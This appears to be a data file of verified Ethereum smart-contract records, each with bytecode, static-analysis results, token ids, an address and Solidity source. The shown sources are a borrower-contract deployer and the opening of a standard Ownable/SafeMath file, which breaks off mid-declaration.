2929150612036565b5090565b5b808211156120325760008155600101612037565b6001600160e01b0319811681146116ae57600080fd5b60006020828403121561207357600080fd5b81356112d48161204b565b60005b83811015612099578181015183820152602001612081565b838111156111555750506000910152565b600081518084526120c281602086016020860161207e565b601f01601f19169290920160200192915050565b6020815260006112d460208301846120aa565b6000602082840312156120fb57600080fd5b5035919050565b80356001600160a01b038116811461211957600080fd5b919050565b6000806040838503121561213157600080fd5b61213a83612102565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff8084111561217957612179612148565b604051601f8501601f19908116603f011681019082821181831017156121a1576121a1612148565b816040528093508581528686860111156121ba57600080fd5b858560208301376000602087830101525050509392505050565b6000602082840312156121e657600080fd5b813567ffffffffffffffff8111156121fd57600080fd5b8201601f8101841361220e57600080fd5b61180e8482356020840161215e565b8035801515811461211957600080fd5b60006020828403121561223f57600080fd5b6112d48261221d565b60008060006060848603121561225d57600080fd5b61226684612102565b925061227460208501612102565b9150604084013590509250925092565b60006020828403121561229657600080fd5b6112d482612102565b6020808252825182820181905260009190848201906040850190845b818110156122d7578351835292840192918401916001016122bb565b50909695505050505050565b600080604083850312156122f657600080fd5b6122ff83612102565b915061230d6020840161221d565b90509250929050565b6000806000806080858703121561232c57600080fd5b61233585612102565b935061234360208601612102565b925060408501359150606085013567ffffffffffffffff81111561236657600080fd5b8501601f8101871361237757600080fd5b6123868782356020840161215e565b91505092959194509250565b6000806000604084860312156123a757600080fd5b83359250602084013567ffffffffffffffff808211156123c657600080fd5b818601915086601f8301126123da57600080fd5b8135818111156123e957600080fd5b8760208260051b85010111156123fe57600080fd5b6020830194508093505050509250925092565b6000806040838503121561242457600080fd5b61242d83612102565b915061230d60208401612102565b6000806040838503121561244e57600080fd5b8235915061230d60208401612102565b600181811c9082168061247257607f821691505b6020821081141561249357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561255f5761255f612535565b5060010190565b602080825260149082015273496e76616c6964206d696e7420616d6f756e742160601b604082015260600190565b600082198211156125a7576125a7612535565b500190565b6020808252601490820152734d617820737570706c792065786365656465642160601b604082015260600190565b60008160001904831182151516156125f4576125f4612535565b500290565b60008451602061260c8285838a0161207e565b85519184019161261f8184848a0161207e565b8554920191600090600181811c908083168061263c57607f831692505b85831081141561265a57634e487b7160e01b85526022600452602485fd5b80801561266e576001811461267f576126ac565b60ff198516885283880195506126ac565b60008b81526020902060005b858110156126a45781548a82015290840190880161268b565b505083880195505b50939b9a5050505050505050505050565b6000828210156126cf576126cf612535565b500390565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b60008261274b5761274b612726565b500490565b60008261275f5761275f612726565b500690565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612797908301846120aa565b9695505050505050565b6000602082840312156127b357600080fd5b81516112d48161204b56fea26469706673582212206ff417cef427dabb7a36144299f0d92b1191e4579758d0afdda21ffc7e5eb74b64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2509, 2546, 22932, 2581, 2509, 27421, 26976, 2546, 28756, 2692, 2581, 2549, 10354, 26187, 2546, 27009, 18139, 16576, 2692, 3540, 2620, 2549, 2497, 2683, 2620, 2683, 29292, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1022, 1012, 1023, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 24094, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,120
0x963f9311962C55cB728e257336A862F98650a25e
// Verified using https://dapp.tools // hevm: flattened sources of src/borrower/deployer.sol // SPDX-License-Identifier: AGPL-3.0-only pragma solidity >=0.6.12; ////// src/borrower/fabs/interfaces.sol /* pragma solidity >=0.6.12; */ interface NAVFeedFabLike { function newFeed() external returns (address); } interface TitleFabLike { function newTitle(string calldata, string calldata) external returns (address); } interface CollectorFabLike { function newCollector(address, address, address) external returns (address); } interface PileFabLike { function newPile() external returns (address); } interface ShelfFabLike { function newShelf(address, address, address, address) external returns (address); } ////// src/fixed_point.sol /* pragma solidity >=0.6.12; */ abstract contract FixedPoint { struct Fixed27 { uint value; } } ////// src/borrower/deployer.sol /* pragma solidity >=0.6.12; */ /* import { ShelfFabLike, CollectorFabLike, PileFabLike, TitleFabLike } from "./fabs/interfaces.sol"; */ /* import { FixedPoint } from "./../fixed_point.sol"; */ interface DependLike_1 { function depend(bytes32, address) external; } interface AuthLike_1 { function rely(address) external; function deny(address) external; } interface NAVFeedLike_1 { function init() external; } interface FeedFabLike { function newFeed() external returns(address); } interface FileLike_1 { function file(bytes32 name, uint value) external; } contract BorrowerDeployer is FixedPoint { address public immutable root; TitleFabLike public immutable titlefab; ShelfFabLike public immutable shelffab; PileFabLike public immutable pilefab; CollectorFabLike public immutable collectorFab; FeedFabLike public immutable feedFab; address public title; address public shelf; address public pile; address public collector; address public immutable currency; address public feed; string public titleName; string public titleSymbol; Fixed27 public discountRate; address constant ZERO = address(0); bool public wired; constructor ( address root_, address titlefab_, address shelffab_, address pilefab_, address collectorFab_, address feedFab_, address currency_, string memory titleName_, string memory titleSymbol_, uint discountRate_ ) { root = root_; titlefab = TitleFabLike(titlefab_); shelffab = ShelfFabLike(shelffab_); pilefab = PileFabLike(pilefab_); collectorFab = CollectorFabLike(collectorFab_); feedFab = FeedFabLike(feedFab_); currency = currency_; titleName = titleName_; titleSymbol = titleSymbol_; discountRate = Fixed27(discountRate_); } function deployCollector() public { require(collector == ZERO && address(shelf) != ZERO); collector = collectorFab.newCollector(address(shelf), address(pile), address(feed)); AuthLike_1(collector).rely(root); } function deployPile() public { require(pile == ZERO); pile = pilefab.newPile(); AuthLike_1(pile).rely(root); } function deployTitle() public { require(title == ZERO); title = titlefab.newTitle(titleName, titleSymbol); AuthLike_1(title).rely(root); } function deployShelf() public { require(shelf == ZERO && title != ZERO && pile != ZERO && feed != ZERO); shelf = shelffab.newShelf(currency, address(title), address(pile), address(feed)); AuthLike_1(shelf).rely(root); } function deployFeed() public { require(feed == ZERO); feed = feedFab.newFeed(); AuthLike_1(feed).rely(root); } function deploy() public { // ensures all required deploy methods were called require(shelf != ZERO && collector != ZERO); require(!wired, "borrower contracts already wired"); // make sure borrower contracts only wired once wired = true; // shelf allowed to call AuthLike_1(pile).rely(shelf); DependLike_1(feed).depend("shelf", address(shelf)); DependLike_1(feed).depend("pile", address(pile)); // allow nftFeed to update rate groups AuthLike_1(pile).rely(feed); NAVFeedLike_1(feed).init(); DependLike_1(shelf).depend("subscriber", address(feed)); AuthLike_1(feed).rely(shelf); AuthLike_1(title).rely(shelf); // collector allowed to call AuthLike_1(shelf).rely(collector); FileLike_1(feed).file("discountRate", discountRate.value); } }
0x608060405234801561001057600080fd5b50600436106101415760003560e01c8063843b4cbb116100b8578063c1848b5b1161007c578063c1848b5b146103ef578063c627cd4814610423578063debcd15a146104a6578063e5a6b10f146104b0578063e6c0e6d5146104e4578063ebf0c7171461050257610141565b8063843b4cbb146102c65780638df37386146102fa578063913e77ad14610304578063a9bc2d8f14610338578063b7fdb3cf1461036c57610141565b80634a79d50c1161010a5780634a79d50c1461020c57806357ce9403146102405780635ddc3ecd1461027457806362f6b10f1461027e57806365cdd03e146102b2578063775c300c146102bc57610141565b806206c4021461014657806337a7b7d81461015057806339d57b02146101845780634409785b146101a4578063479b9c6c146101d8575b600080fd5b61014e610536565b005b610158610947565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61018c61096d565b60405180821515815260200191505060405180910390f35b6101ac610980565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101e06109a4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102146109ca565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102486109ee565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61027c610a12565b005b610286610c15565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102ba610c3b565b005b6102c4610f5c565b005b6102ce61188d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103026118b1565b005b61030c611bc8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610340611bee565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610374611c12565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103b4578082015181840152602081019050610399565b50505050905090810190601f1680156103e15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f7611cb0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61042b611cd4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046b578082015181840152602081019050610450565b50505050905090810190601f1680156104985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ae611d72565b005b6104b8611f75565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104ec611f99565b6040518082815260200191505060405180910390f35b61050a611fa5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156105e15750600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b801561063c5750600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b80156106975750600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b6106a057600080fd5b7f000000000000000000000000ab1c5cfa87f468a6dbd89a9471a8b1aa1e29b85e73ffffffffffffffffffffffffffffffffffffffff16635d558fbd7f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff168152602001945050505050602060405180830381600087803b15801561080757600080fd5b505af115801561081b573d6000803e3d6000fd5b505050506040513d602081101561083157600080fd5b8101908080519060200190929190505050600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166365fae35e7f0000000000000000000000003d167bd08f762fd391694c67b5e6af0868c455386040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561092d57600080fd5b505af1158015610941573d6000803e3d6000fd5b50505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900460ff1681565b7f0000000000000000000000003ea4cc90724e4bf1165a9165f0730890eae8b9bf81565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000bf0efb65c7971a04261838462c963ceed2aae75681565b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6d57600080fd5b7f0000000000000000000000007176b91090b7d774b13aa613cedd1e219f898b3e73ffffffffffffffffffffffffffffffffffffffff16632ff5858b6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610ad557600080fd5b505af1158015610ae9573d6000803e3d6000fd5b505050506040513d6020811015610aff57600080fd5b8101908080519060200190929190505050600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166365fae35e7f0000000000000000000000003d167bd08f762fd391694c67b5e6af0868c455386040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015610bfb57600080fd5b505af1158015610c0f573d6000803e3d6000fd5b50505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610ce85750600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b610cf157600080fd5b7f000000000000000000000000cf0214f7a699f0eade721dba79c443ba00fdd49b73ffffffffffffffffffffffffffffffffffffffff166346272a4f600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019350505050602060405180830381600087803b158015610e1c57600080fd5b505af1158015610e30573d6000803e3d6000fd5b505050506040513d6020811015610e4657600080fd5b8101908080519060200190929190505050600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166365fae35e7f0000000000000000000000003d167bd08f762fd391694c67b5e6af0868c455386040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015610f4257600080fd5b505af1158015610f56573d6000803e3d6000fd5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561100a5750600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b61101357600080fd5b600860009054906101000a900460ff1615611096576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f626f72726f77657220636f6e74726163747320616c726561647920776972656481525060200191505060405180910390fd5b6001600860006101000a81548160ff021916908315150217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166365fae35e600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561115e57600080fd5b505af1158015611172573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639adc339d600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040180807f7368656c660000000000000000000000000000000000000000000000000000008152506020018273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561124b57600080fd5b505af115801561125f573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639adc339d600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040180807f70696c65000000000000000000000000000000000000000000000000000000008152506020018273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561133857600080fd5b505af115801561134c573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166365fae35e600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156113fd57600080fd5b505af1158015611411573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e1c7392a6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561147f57600080fd5b505af1158015611493573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639adc339d600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040180807f73756273637269626572000000000000000000000000000000000000000000008152506020018273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561156c57600080fd5b505af1158015611580573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166365fae35e600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561163157600080fd5b505af1158015611645573d6000803e3d6000fd5b5050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166365fae35e600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156116f457600080fd5b505af1158015611708573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166365fae35e600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156117b957600080fd5b505af11580156117cd573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166329ae81146007600001546040518263ffffffff1660e01b815260040180807f646973636f756e74526174650000000000000000000000000000000000000000815250602001828152602001915050600060405180830381600087803b15801561187357600080fd5b505af1158015611887573d6000803e3d6000fd5b50505050565b7f000000000000000000000000cf0214f7a699f0eade721dba79c443ba00fdd49b81565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461190a57600080fd5b7f0000000000000000000000003ea4cc90724e4bf1165a9165f0730890eae8b9bf73ffffffffffffffffffffffffffffffffffffffff1663ff7c981c600560066040518363ffffffff1660e01b81526004018080602001806020018381038352858181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156119e65780601f106119bb576101008083540402835291602001916119e6565b820191906000526020600020905b8154815290600101906020018083116119c957829003601f168201915b5050838103825284818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015611a695780601f10611a3e57610100808354040283529160200191611a69565b820191906000526020600020905b815481529060010190602001808311611a4c57829003601f168201915b5050945050505050602060405180830381600087803b158015611a8b57600080fd5b505af1158015611a9f573d6000803e3d6000fd5b505050506040513d6020811015611ab557600080fd5b81019080805190602001909291905050506000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166365fae35e7f0000000000000000000000003d167bd08f762fd391694c67b5e6af0868c455386040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015611bae57600080fd5b505af1158015611bc2573d6000803e3d6000fd5b50505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000ab1c5cfa87f468a6dbd89a9471a8b1aa1e29b85e81565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ca85780601f10611c7d57610100808354040283529160200191611ca8565b820191906000526020600020905b815481529060010190602001808311611c8b57829003601f168201915b505050505081565b7f0000000000000000000000007176b91090b7d774b13aa613cedd1e219f898b3e81565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611d6a5780601f10611d3f57610100808354040283529160200191611d6a565b820191906000526020600020905b815481529060010190602001808311611d4d57829003601f168201915b505050505081565b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dcd57600080fd5b7f000000000000000000000000bf0efb65c7971a04261838462c963ceed2aae75673ffffffffffffffffffffffffffffffffffffffff16634ae209c76040518163ffffffff1660e01b8152600401602060405180830381600087803b158015611e3557600080fd5b505af1158015611e49573d6000803e3d6000fd5b505050506040513d6020811015611e5f57600080fd5b8101908080519060200190929190505050600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166365fae35e7f0000000000000000000000003d167bd08f762fd391694c67b5e6af0868c455386040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015611f5b57600080fd5b505af1158015611f6f573d6000803e3d6000fd5b50505050565b7f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f81565b60078060000154905081565b7f0000000000000000000000003d167bd08f762fd391694c67b5e6af0868c455388156fea26469706673582212204f2558dbf28ab302bbd587a74daf312a96aeeccc6e3c99aeba64ccb816df109364736f6c63430007060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2509, 2546, 2683, 21486, 16147, 2575, 2475, 2278, 24087, 27421, 2581, 22407, 2063, 17788, 2581, 22394, 2575, 2050, 20842, 2475, 2546, 2683, 20842, 12376, 2050, 17788, 2063, 1013, 1013, 20119, 2478, 16770, 1024, 1013, 1013, 4830, 9397, 1012, 5906, 1013, 1013, 2002, 2615, 2213, 1024, 16379, 4216, 1997, 5034, 2278, 1013, 17781, 2121, 1013, 21296, 2121, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2069, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 5034, 2278, 1013, 17781, 2121, 1013, 6904, 5910, 1013, 19706, 1012, 14017, 1013, 1008, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 2260, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,121
0x963fbb3fbc2a1bdf16254c5dc2dc016f2f8ee869
/** *Submitted for verification at Etherscan.io on 2022-04-27 */ /** *Submitted for verification at Etherscan.io on 2021-12-14 */ /** *Submitted for verification at Etherscan.io on 2021-12-10 */ /** *Submitted for verification at Etherscan.io on 2021-11-26 */ pragma solidity ^0.5.12; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: openzeppelin-solidity\contracts\ownership\Ownable.sol pragma solidity ^0.5.12; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: node_modules\multi-token-standard\contracts\interfaces\IERC165.sol pragma solidity ^0.5.12; /** * @title ERC165 * @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md */ interface IERC165 { /** * @notice Query if a contract implements an interface * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas * @param _interfaceId The interface identifier, as specified in ERC-165 */ function supportsInterface(bytes4 _interfaceId) external view returns (bool); } // File: node_modules\multi-token-standard\contracts\utils\SafeMath.sol pragma solidity ^0.5.12; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath#mul: OVERFLOW"); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath#div: DIVISION_BY_ZERO"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath#sub: UNDERFLOW"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath#add: OVERFLOW"); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function 